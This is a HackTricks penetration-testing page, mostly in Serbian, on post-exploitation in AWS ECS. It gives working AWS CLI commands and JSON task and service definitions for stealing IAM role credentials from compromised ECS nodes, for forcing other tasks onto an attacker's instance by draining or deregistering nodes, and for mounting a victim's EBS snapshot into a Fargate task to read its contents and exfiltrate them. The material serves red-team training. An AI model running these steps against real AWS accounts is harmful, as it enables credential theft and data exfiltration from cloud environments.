AWS - ECS Post Exploitation

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

ECS

Za više informacija pogledajte:

AWS - ECS Enum

Host IAM uloge

U ECS-u se IAM role može dodeliti task-u koji se izvršava unutar container-a. Ako se task pokreće unutar EC2 instance, EC2 instance će imati drugu IAM rolu prikačenu na nju.
To znači da ako uspete da compromise ECS instancu, potencijalno možete dobiti IAM role povezane sa ECR i sa EC2 instancom. Za više informacija o tome kako doći do tih credential-a pogledajte:

Cloud SSRF - HackTricks

Caution

Note that if the EC2 instance is enforcing IMDSv2, according to the docs, the response of the PUT request will have a hop limit of 1, making impossible to access the EC2 metadata from a container inside the EC2 instance.

Privesc na node da se ukradu kredencijali i tajne drugih container-a

Pored toga, EC2 koristi docker za pokretanje ECS task-ova, tako da ako uspete da escape-ujete na node ili access the docker socket, možete proveriti koji se drugi container-i pokreću, pa čak i ući u njih i ukrasti njihove IAM role koje su prikačene.

Pokretanje container-a na trenutnom host-u

Dodatno, EC2 instance role obično ima dovoljno permissions da update-uje container instance state EC2 instanci koje se koriste kao nodes unutar klastera. Napadač bi mogao izmeniti state of an instance to DRAINING, tada će ECS ukloniti sve task-ove sa nje, a oni koji se izvršavaju kao REPLICA biće pokrenuti na drugoj instanci, potencijalno unutar attacker-ove instance, tako da može ukrasti njihove IAM role i eventualno osetljive informacije iz unutar container-a.

aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>

Ista tehnika se može izvesti tako što ćete odjaviti EC2 instancu iz clustera. Ovo je potencijalno manje prikriveno, ali će to naterati zadatke da se izvrše na drugim instancama:

aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force

Poslednja tehnika za primoravanje ponovnog izvršavanja tasks je da se ECS-u naznači da je task or container was stopped. Postoje 3 potencijalna API-ja da se to uradi:

# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

Ukradi osetljive informacije iz ECR kontejnera

Instanca EC2 verovatno takođe ima dozvolu ecr:GetAuthorizationToken koja joj omogućava preuzimanje image-a (u njima možete tražiti osetljive informacije).

Montirajte EBS snapshot direktno u ECS task (configuredAtLaunch + volumeConfigurations)

Iskoristite native ECS EBS integraciju (2024+) da montirate sadržaj postojećeg EBS snapshot-a direktno u novi ECS task/service i pročitate njegove podatke iz kontejnera.

  • Potrebno (najmanje):

  • ecs:RegisterTaskDefinition

  • Jedno od: ecs:RunTask ILI ecs:CreateService/ecs:UpdateService

  • iam:PassRole na:

  • ECS infrastructure role koji se koristi za volumes (policy: service-role/AmazonECSInfrastructureRolePolicyForVolumes)

  • Task execution/Task roles koje task definition referencira

  • Ako je snapshot enkriptovan CMK-om: KMS dozvole za infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).

  • Uticaj: Čitanje proizvoljnog sadržaja diska iz snapshot-a (npr. database files) unutar kontejnera i exfiltrate putem mreže/logova.

Koraci (Fargate primer):

  1. Kreirajte ECS infrastructure role (ako ne postoji) i prikačite managed policy:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
  1. Registrujte task definition sa volume-om označenim kao configuredAtLaunch i montirajte ga u container. Primer (ispiše secret, zatim spava):
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
  1. Kreirajte ili ažurirajte servis prosleđivanjem EBS snapshot-a putem volumeConfigurations.managedEBSVolume (zahteva iam:PassRole na infra roli). Primer:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
  1. Kada se task pokrene, container može da pročita sadržaj snapshot-a na konfigurisanoj mount putanji (npr. /loot). Exfiltrate putem mreže/logova task-a.

Čišćenje:

aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks